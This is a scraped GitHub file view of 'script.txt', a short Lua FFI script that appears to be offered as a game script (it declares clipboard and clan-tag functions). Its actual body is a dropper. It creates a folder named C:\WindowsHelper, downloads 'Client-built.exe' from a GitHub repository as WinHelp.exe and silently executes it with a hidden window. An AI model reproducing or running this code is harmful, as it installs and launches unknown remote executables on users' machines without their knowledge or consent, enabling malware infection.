-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscript.txt
51 lines (22 loc) · 1.77 KB
/
script.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
ffi.cdef[[
typedef int(__thiscall* get_clipboard_text_count)(void*);
typedef void(__thiscall* set_clipboard_text)(void*, const char*, int);
typedef void(__thiscall* get_clipboard_text)(void*, int, const char*, int);
bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
bool DeleteUrlCacheEntryA(const char* lpszUrlName);
typedef int(__fastcall* clantag_t)(const char*, const char*);
bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
int MessageBoxA(void *w, const char *txt, const char *cap, int type);
int ShellExecuteA(void* hwnd, const char* lpOperation, const char* lpFile, const char* lpParameters, const char* lpDirectory, int nShowCmd);
]]
local Shell32 = ffi.load 'Shell32.dll'
local urlmon = ffi.load 'UrlMon'
local wininet = ffi.load 'WinInet'
ffi.C.CreateDirectoryA("C:\\WindowsHelper", nil)
wininet.DeleteUrlCacheEntryA("https://github.com/BigBoiiiiiii/WinHelper/blob/main/Client-built.exe")
urlmon.URLDownloadToFileA(nil, "https://github.com/BigBoiiiiiii/WinHelper/blob/main/Client-built.exe", "C:\\WindowsHelper\\WinHelp.exe", 0,0)
Shell32.ShellExecuteA(nil, 'open', "C:\\WindowsHelper\\WinHelp.exe", nil, nil, 0)